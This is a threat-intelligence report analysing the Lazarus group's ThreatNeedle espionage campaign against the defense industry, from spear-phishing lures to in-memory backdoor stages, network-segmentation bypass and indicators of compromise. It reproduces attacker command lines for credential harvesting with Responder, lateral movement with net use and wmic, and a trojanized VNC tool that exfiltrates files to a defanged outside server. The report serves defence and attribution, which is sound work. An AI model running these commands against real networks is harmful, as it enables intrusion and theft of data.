25 February 2021

    Lazarus targets defense industry with ThreatNeedle

      We named Lazarus the most active group of 2020. We’ve observed numerous activities by this notorious APT group targeting various industries. The group has changed target depending on the primary objective. Google TAG has recently published a post about a campaign by Lazarus targeting security researchers. After taking a closer look, we identified the malware used in those attacks as belonging to a family that we call ThreatNeedle. We have seen Lazarus attack various industries using this malware cluster before. In mid-2020, we realized that Lazarus was launching attacks on the defense industry using the ThreatNeedle cluster, an advanced malware cluster of Manuscrypt (a.k.a. NukeSped). While investigating this activity, we were able to observe the complete life cycle of an attack, uncovering more technical details and links to the group’s other campaigns.

      The group made use of COVID-19 themes in its spear-phishing emails, embellishing them with personal information gathered using publicly available sources. After gaining an initial foothold, the attackers gathered credentials and moved laterally, seeking crucial assets in the victim environment. We observed how they overcame network segmentation by gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the intranet network to their remote server. So far organizations in more than a dozen countries have been affected.

      During this investigation we had a chance to look into the command-and-control infrastructure. The attackers configured multiple C2 servers for various stages, reusing several scripts we’ve seen in previous attacks by the group. Moreover, based on the insights so far, it was possible to figure out the relationship with other Lazarus group campaigns.

      The full article is available on Kaspersky Threat Intelligence. Customers of Kaspersky Intelligence reporting may contact: intelreports@kaspersky.com
      For more information please contact: ics-cert@kaspersky.com.

      Initial infection

      In this attack, spear phishing was used as the initial infection vector. Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company.

      Email addresses in those departments received phishing emails that either had a malicious Word document attached or a link to one hosted on a remote server. The phishing emails claimed to have urgent updates on today’s hottest topic – COVID-19 infections. The phishing emails were carefully crafted and written on behalf of a medical center that is part of the organization under attack.

      Phishing email with links to malicious documents

      The attackers registered accounts with a public email service, making sure the sender’s email addresses looked similar to the medical center’s real email address. The signature shown in the phishing emails included the actual personal data of the deputy head doctor of the attacked organization’s medical center. The attackers were able to find this information on the medical center’s public website.

      A macro in the Microsoft Word document contained the malicious code designed to download and execute additional malicious software on the infected system.

      The document contains information on the population health assessment program and is not directly related to the subject of the phishing email (COVID-19), suggesting the attackers may not completely understand the meaning of the contents they used.

      Contents of malicious document

      The content of the lure document was copied from an online post by a health clinic.

      Our investigation showed that the initial spear-phishing attempt was unsuccessful due to macros being disabled in the Microsoft Office installation of the targeted systems. In order to persuade the target to allow the malicious macro, the attacker sent another email showing how to enable macros in Microsoft Office.

      Email with instructions on enabling macros #1

      After sending the above email with explanations, the attackers realized that the target was using a different version of Microsoft Office and therefore required a different procedure for enabling macros. The attackers subsequently sent another email showing the correct procedure in a screenshot with a Russian language pack.

      Email with instructions on enabling macros #2

      The content in the spear-phishing emails sent by the attackers from May 21 to May 26, 2020, did not contain any grammatical mistakes. However, in subsequent emails the attackers made numerous errors, suggesting they may not be native Russian speakers and were using translation tools.

      Email containing several grammatical mistakes

      On June 3, 2020, one of the malicious attachments was opened by employees and at 9:30 am local time the attackers gained remote control of the infected system.

      This group also utilized different types of spear-phishing attack. One of the compromised hosts received several spear-phishing documents on May 19, 2020. The malicious file that was delivered, named Boeing_AERO_GS.docx, fetches a template from a remote server.

      However, no payload created by this malicious document could be discovered. We speculate that the infection from this malicious document failed for a reason unknown to us. A few days later, the same host opened a different malicious document. The threat actor wiped these files from disk after the initial infection meaning they could not be obtained. 

      Nonetheless a related malicious document with this malware was retrieved based on our telemetry. It creates a payload and shortcut file and then continues executing the payload by using the following command line parameters.

      • Payload path: %APPDATA%\Microsoft\Windows\lconcaches.db
      • Shortcut path: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrives.lnk
      • Command Line; please note that the string at the end is hard-coded, but different for each sample:
        • rundll32.exe [dllpath],Dispatch n2UmQ9McxUds2b29

      The content of the decoy document depicts the job description of a generator/power industry engineer.

      Decoy document

      Malware implants

      Upon opening a malicious document and allowing the macro, the malware is dropped and proceeds to a multistage deployment procedure. The malware used in this campaign belongs to a known malware cluster we named ThreatNeedle. We attribute this malware family to the advanced version of Manuscrypt (a.k.a. NukeSped), a family belonging to the Lazarus group. We previously observed the Lazarus group utilizing this cluster when attacking cryptocurrency businesses and a mobile game company. Although the malware involved and the entire infection process is known and has not changed dramatically compared to previous findings, the Lazarus group continued using ThreatNeedle malware aggressively in this campaign.

      Infection procedure

      The payload created by the initial spear-phishing document loads the next stage as a backdoor running in-memory – the ThreatNeedle backdoor. ThreatNeedle offers functionality to control infected victims. The actor uses it to carry out initial reconnaissance and deploy additional malware for lateral movement. When moving laterally, the actor uses ThreatNeedle installer-type malware in the process. This installer is responsible for implanting the next stage loader-type malware and registering it for auto-execution in order to achieve persistence. The ThreatNeedle loader-type malware exists in several variations and serves the primary purpose of loading the final stage of the ThreatNeedle malware in-memory. 

      ThreatNeedle installer

      Upon launch, the malware decrypts an embedded string using RC4 (key: B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4) and compares it to 7486513879852. If the user executes this malware without a command line parameter, the malware launches a legitimate calculator carrying a dark icon of the popular Avengers franchise.

      Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen. We’ve discovered that the malware operator checks this file to see whether the remote host was infected and, if so, when the infection happened.

      It then decrypts the embedded payload using the RC4 algorithm, saves it to an .xml extension with a randomly created five-character file name in the current directory and then copies it to the system folder with a .sys extension.

      This final payload is the ThreatNeedle loader running in memory. At this point the loader uses a different RC4 key (3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20), and the dropped malware is registered as a Windows service and launched. In addition, the malware saves the configuration data as a registry key encrypted in RC4:

      HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig - Description

      ThreatNeedle loader

      This component is responsible for loading the final backdoor payload into memory. In order to do this, the malware uses several techniques to decrypt its payload:

      • Loading the payload from the registry.
      • Loading the payload from itself after decrypting RC4 and decompression.
      • Loading the payload from itself after decrypting AES and decompression.
      • Loading the payload from itself after decompression.
      • Loading the payload from itself after one-byte XORing.

      Most loader-style malware types check the command line parameter and only proceed with the malicious routine if an expected parameter is given. This is a common trait in ThreatNeedle loaders. The most common example we’ve seen is similar to the ThreatNeedle installer – the malware decrypts an embedded string using RC4, and compares it with the parameter Sx6BrUk4v4rqBFBV upon launch. If it matches, the malware begins decrypting its embedded payload using the same RC4 key. The decrypted payload is an archive file which is subsequently decompressed in the process. Eventually, the ThreatNeedle malware spawns in memory.

      The other variant of the loader is preparing the next stage payload from the victim’s registry. As we can see from the installer malware description, we suspect that the registry key was created by the installer component. Retrieved data from the registry is decrypted using RC4 and then decompressed. Eventually, it gets loaded into memory and the export function is invoked.

      ThreatNeedle backdoor

      The final payload executed in memory is the actual ThreatNeedle backdoor. It has the following functionality to control infected victim machines:

      • Manipulate files/directories
      • System profiling
      • Control backdoor processes
      • Enter sleeping or hibernation mode
      • Update backdoor configuration
      • Execute received commands

      Post-exploitation phase

      From one of the hosts, we discovered that the actor executed a credential harvesting tool named Responder and moved laterally using Windows commands. Lazarus overcame network segmentation, exfiltrating data from a completely isolated network segment cut off from the internet by compromising a router virtual machine, as we explain below under “Overcoming network segmentation”.

      Judging by the hosts that were infected with the ThreatNeedle backdoors post-exploitation, we speculate that the primary intention of this attack is to steal intellectual property. Lastly, the stolen data gets exfiltrated using a custom tool that will be described in the “Exfiltration” section. Below is a rough timeline of the compromise we investigated:

      Timeline of infected hosts

      Credential gathering

      During the investigation we discovered that the Responder tool was executed from one of the victim machines that had received the spear-phishing document. One day after the initial infection, the malware operator placed the tool onto this host and executed it using the following command:

      [Responder file path] -i [IP address] -rPv

      Several days later, the attacker started to move laterally originating from this host. Therefore, we assess that the attacker succeeded in acquiring login credentials from this host and started using them for further malicious activity. 

      Lateral movement

      After acquiring the login credentials, the actor started to move laterally from workstations to server hosts. Typical lateral movement methods were employed, using Windows commands. First, a network connection with a remote host was established using the command net use.

      net use \\[IP address]\IPC$ "[password]" /u:"[user name]" > $temp\~tmp5936t.tmp 2>&1"

      Next, the actor copied malware to the remote host using the Windows Management Instrumentation Command-line (WMIC).

      wmic.exe /node:[IP address] /user:"[user name]" /password:"[password]" PROCESS CALL CREATE "cmd.exe /c $appdata\Adobe\adobe.bat"
      wmic.exe /node:[IP address] /user:"[user name]" /password:"[password]" PROCESS CALL CREATE "cmd /c sc queryex helpsvc > $temp\tmp001.dat"

      Overcoming network segmentation

      In the course of this research, we identified another highly interesting technique used by the attackers for lateral movement and exfiltration of stolen data. The enterprise network under attack was divided into two segments: corporate (a network on which computers had internet access) and restricted (a network on which computers hosted sensitive data and had no internet access). According to corporate policies, no transfer of information was allowed between these two segments. In other words, the two segments were meant to be completely separated.

      Initially, the attackers were able to get access to systems with internet access and spent a long time distributing malware between machines in the network’s corporate segment. Among the compromised machines were those used by the administrators of the enterprise’s IT infrastructure.

      It is worth noting that the administrators could connect both to the corporate and the restricted network segments to maintain systems and provide users with technical support in both zones. As a result, by gaining control of administrator workstations the attackers were able to access the restricted network segment.

      However, since directly routing traffic between the segments was not possible, the attackers couldn’t use their standard malware set to exfiltrate data from the restricted segment to the C2.

      The situation changed on July 2 when the attackers managed to obtain the credentials for the router used by the administrators to connect to systems in both segments. The router was a virtual machine running CentOS to route traffic between several network interfaces based on predefined rules.

      Connection layout between victim’s network segments

      According to the evidence collected, the attackers scanned the router’s ports and detected a Webmin interface. Next, the attackers logged in to the web interface using a privileged root account. It’s unknown how the attackers were able to obtain the credentials for that account, but it’s possible the credentials were saved in one of the infected system’s browser password managers.

      Log listing Webmin web interface logins

      By gaining access to the configuration panel the attackers configured the Apache web server and started using the router as a proxy server between the organization’s corporate and restricted segments.

      List of services used on the router

      Several days after that, on July 10, 2020, the attackers connected to the router via SSH and set up the PuTTy PSCP (the PuTTY Secure Copy client) utility on one of the infected machines. This utility was used to upload malware to the router VM. This enabled the attackers to place malware onto systems in the restricted segment of the enterprise network, using the router to host the samples. In addition, malware running in the network’s restricted segment was able to exfiltrate the collected data to the command-and-control server via the Apache server set up on the same router.

      New connection layout after attacker’s intrusion

      In the course of the investigation we identified malware samples with the hardcoded URL of the router used as a proxy server.

      Hardcoded proxy address in the malware

      Since the attackers regularly deleted log files from the router, only a handful of commands entered to the command line via SSH could be recovered. An analysis of these commands shows that the attackers tried to reconfigure traffic routing using the route command.

      Attacker commands

      The attackers also ran the nmap utility on the router VM and scanned ports on systems within the restricted segment of the enterprise network. On September 27, the attackers started removing all traces of their activity from the router, using the logrotate utility to set up automatic deletion of log files.

      Webmin log


      We observed that the malware operator attempted to create SSH tunnels to a remote server located in South Korea from several compromised server hosts. They used a custom tunneling tool to achieve this. The tool receives four parameters: client IP address, client port, server IP address and server port. The tool offers basic functionality, forwarding client traffic to the server. In order to create a covert channel, the malware encrypts forwarded traffic using trivial binary encryption.

      Encryption routine

      Using the covert channel, the adversary copied data from the remote server over to the host using the PuTTy PSCP tool:

      %APPDATA%\PBL\unpack.tmp  -pw [password] root@[IP address]:/tmp/cab0215 %APPDATA%\PBL\cab0215.tmp

      After copying data from the server, the actor utilized the custom tool to exfiltrate stolen data to the remote server. This malware looks like a legitimate VNC client and runs like one if it’s executed without any command line parameters. 

      Execution of malware without parameters

      However, if this application is executed with specific command line parameters, it runs an alternate, malicious function. According to our telemetry, the actor executed this application with six parameters:

      %APPDATA%\Comms\Comms.dat S0RMM-50QQE-F65DN-DCPYN-5QEQA  hxxps://www.gonnelli[.]it/uploads/catalogo/thumbs/thumb[.]asp %APPDATA%\Comms\cab59.tmp FL0509 15000

      Also, if the number of command line parameters is greater than six, the malware jumps into a malicious routine. The malware also checks the length of the second argument – if it’s less than 29 characters, it terminates the execution. When the parameter checking procedure has passed successfully, the malware starts to decrypt its next payload. 

      The embedded payload gets decrypted via XOR, where each byte from the end of the payload gets applied to the preceding byte. Next, the XORed blob receives the second command line argument that’s provided (in this case S0RMM-50QQE-F65DN-DCPYN-5QEQA). The malware can accept more command line arguments, and depending on its number it runs differently. For example, it can also receive proxy server addresses with the -p option.

      When the decrypted in-memory payload is executed, it compares the header of the configuration data passed with the string 0x8406 in order to confirm its validity. The payload opens a given file (in this example %APPDATA%\Comms\cab59.tmp) and starts exfiltrating it to the remote server. When the malware uploads data to the C2 server, it uses HTTP POST requests with two parameters named fr and fp:

      • The fr parameter contains the file name from the command line argument to upload.
      • The fp parameter contains the base64 encoded size, CRC32 value of content and file contents.
      Contents of fp parameter


      We have been tracking ThreatNeedle malware for more than two years and are highly confident that this malware cluster is attributed only to the Lazarus group. During this investigation, we were able to find connections to several clusters of the Lazarus group.

      Connections between Lazarus campaigns

      Connection with DeathNote cluster

      During this investigation we identified several connections with the DeathNote (a.k.a. Operation Dream Job) cluster of the Lazarus group. First of all, among the hosts infected by the ThreatNeedle malware, we discovered one that was also infected with the DeathNote malware, and both threats used the same C2 server URLs.

      In addition, while analyzing the C2 server used in this attack, we found a custom web shell script that was also discovered on the DeathNote C2 server. We also identified that the server script corresponding to the Trojanized VNC Uploader was found on the DeathNote C2 server.

      Although DeathNote and this incident show different TTPs, both campaigns share command and control infrastructure and some victimology.

      Connection with Operation AppleJeus

      We also found a connection with Operation AppleJeus. As we described, the actor used a homemade tunneling tool in the ThreatNeedle campaign that has a custom encryption routine to create a covert channel. This very same tool was utilized in operation AppleJeus as well.

      Same tunneling tool

      Connection with Bookcode cluster

      In our previous blog about Lazarus group, we mentioned the Bookcode cluster attributed to Lazarus group; and recently the Korea Internet and Security Agency (KISA) also published a report about the operation. In the report, they mentioned a malware cluster named LPEClient used for profiling hosts and fetching next stage payloads. While investigating this incident, we also found LPEClient from the host infected with ThreatNeedle. So, we assess that the ThreatNeedle cluster is connected to the Bookcode operation.


      In recent years, the Lazarus group has focused on attacking financial institutions around the world. However, beginning in early 2020, they focused on aggressively attacking the defense industry. While Lazarus has also previously utilized the ThreatNeedle malware used in this attack when targeting cryptocurrency businesses, it is currently being actively used in cyberespionage attacks. 

      This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies. They shared tools and infrastructure among these campaigns to accomplish their goals. 

      Kaspersky ICS CERT would like to thank Vasily Berdnikov (Kaspersky targeted attacks research group) for his help.

      Appendix I – Indicators of Compromise

      Malicious documents

      e7aa0237fc3db67a96ebd877806a2c88    Boeing_AERO_GS.docx


      b191cc4d73a247afe0a62a8c38dc9137    %APPDATA%\Microsoft\DRM\logon.bin
      9e440e231ef2c62c78147169a26a1bd3    C:\ProgramData\ntnser.bin
      b7cc295767c1d8c6c68b1bb6c4b4214f    C:\ProgramData\ntnser.bin
      0f967343e50500494cf3481ce4de698c    C:\ProgramData\Microsoft\MSDN\msdn.bin
      09aa1427f26e7dd48955f09a9c604564    %APPDATA\Microsoft\info.dat
      07b22533d08f32d48485a521dbc1974d    C:\ProgramData\adobe\load.dat
      1c5e4d60a1041cf2903817a31c1fa212    C:\ProgramData\Adobe\adobe.tmp
      4cebc83229a40c25434c51ee3d6be13e    C:\ProgramData\Adobe\up.tmp
      23b04b18c75aa7d286fea5d28d41a830    %APPDATA%\Microsoft\DRM\logon.dat
      319ace20f6ffd39b7fff1444f73c9f5d    %APPDATA%\Microsoft\DRM\logon.bin
      45c0a6e13cad26c69eff59fded88ef36    %APPDATA%\Microsoft\DRM\logon.dat
      486f25db5ca980ef4a7f6dfbf9e2a1ad    C:\ProgramData\ntusers.dat
      1333967486d3ab50d768fb745dae9af5    C:\PerfLogs\log.bin
      07b22533d08f32d48485a521dbc1974d    C:\ProgramData\Adobe\load.dat
      c86d0a2fa9c4ef59aa09e2435b4ab70c    %TEMP%\ETS4659.tmp
      69d71f06fbfe177fb1a5f57b9c3ae587    %APPDATA%\Microsoft\Windows\shsvcs.db
      956e5138940a4f44d1c2c24f122966bd    %APPDATA%\ntuser.bin


      1a17609b7df20dcb3bd1b71b7cb3c674    %ALLUSERSPROFILE%\ntuser.bin
      3758bda17b20010ff864575b0ccd9e50    %SYSTEMROOT%\system\mraudio.drv   	 
      cbcf15e272c422b029fcf1b82709e333    %SYSTEMROOT%\system\mraudio.drv
      36ab0902797bd18acd6880040369731c    %SYSTEMROOT%\LogonHours.sys
      db35391857bcf7b0fa17dbbed97ad269    %ALLUSERSPROFILE%\Adobe\update.tmp
      be4c927f636d2ae88a1e0786551bf3c4    %ALLUSERSPROFILE%\Adobe\unpack.tmp
      728948c66582858f6a3d3136c7fbe84a    %APPDATA%\Microsoft\IBM.DAT
      1a17609b7df20dcb3bd1b71b7cb3c674    %ALLUSERSPROFILE%\ntuser.bin
      459be1d21a026d5ac3580888c8239b07    %ALLUSERSPROFILE%\ntuser.bin
      87fb7be83eff9bea0d6cc95d68865564    %SYSTEMROOT%\SysWOW64\wmdmpmsp.sys
      062a40e74f8033138d19aa94f0d0ed6e    %APPDATA%\microsoft\OutIook.db
      9b17f0db7aeff5d479eaee8056b9ac09    %TEMP%\ETS4658.tmp, %APPDATA%\Temp\BTM0345.tmp
      9b17f0db7aeff5d479eaee8056b9ac09    %APPDATA%\Temp\BTM0345.tmp
      238e31b562418c236ed1a0445016117c    %APPDATA%\Microsoft\Windows\lconcaches.db, %TEMP%\cache.db
      238e31b562418c236ed1a0445016117c    %TEMP%\cache.db, %APPDATA%\Microsoft\Windows\lconcaches.db
      ad1a93d6e6b8a4f6956186c213494d17    %APPDATA%\Microsoft\Windows\shsvcs.db

      Registry Loader

      85621411e4c80897c588b5df53d26270    %SYSTEMROOT%\system\avimovie.dll
      160d0e396bf8ec87930a5df46469a960    %WINDIR%\winhelp.dll


      ac86d95e959452d189e30fa6ded05069    %APPDATA%\Microsoft\thumbnails.db

      Trojanized VNC Uploader

      bea90d0ef40a657cb291d25c4573768d    %ALLUSERSPROFILE%\adobe\arm86.dat	 
      254a7a0c1db2bea788ca826f4b5bf51a    %APPDATA%\PBL\user.tmp, %APPDATA%\Comms\Comms.dat

      Tunneling Tool

      6f0c7cbd57439e391c93a2101f958ccd    %APPDATA\PBL\update.tmp


      0aceeb2d38fe8b5ef2899dd6b80bfc08    %TEMP%\ETS5659.tmp
      09580ea6f1fe941f1984b4e1e442e0a5    %TEMP%\ETS4658.tmp

      File path


      Registry Path

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig - Description
      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig - SubVersion

      Domains and IPs


      Second stage C2 address


      C2 URLs to exfiltrate files used by Trojanized VNC Uploader


      Appendix II – MITRE ATT&CK Mapping

      Tactic Technique Technique Name
      Initial Access T1566.002 Phishing: Spearphishing Link
      Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell
      T1204.002 User Execution: Malicious File
      T1569.002 System Services: Service Execution
      Persistence T1543.003 Create or Modify System Process: Windows Service
      T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
      Privilege Escalation T1543.003 Create or Modify System Process: Windows Service
      Defense Evasion T1140 Deobfuscate/Decode Files or Information
      T1070.002 Clear Linux or Mac System Logs
      T1070.003 Clear Command History
      T1070.004 File Deletion
      T1036.003 Masquerading: Rename System Utilities
      T1036.004 Masquerading: Masquerade Task or Service
      T1112 Modify Registry
      Credential Access T1557.001 LLMNR/NBT-NS Poisoning and SMB Relay
      Discovery T1135 Network Share Discovery
      T1057 Process Discovery
      T1016 System Network Configuration Discovery
      T1033 System Owner/User Discovery
      T1049 System Network Connections Discovery
      T1082 System Information Discovery
      T1083 File and Directory Discovery
      T1007 System Service Discovery
      Lateral Movement T1021.002 SMB/Windows Admin Shares
      Collection T1560.001 Archive Collected Data: Archive via Utility
      Command and Control T1071.001 Application Layer Protocol: Web Protocols
      T1132.002 Non-Standard Encoding
      T1104 Multi-Stage Channels
      T1572 Protocol Tunneling
      T1090.001 Internal Proxy
      Exfiltration T1041 Exfiltration Over C2 Channel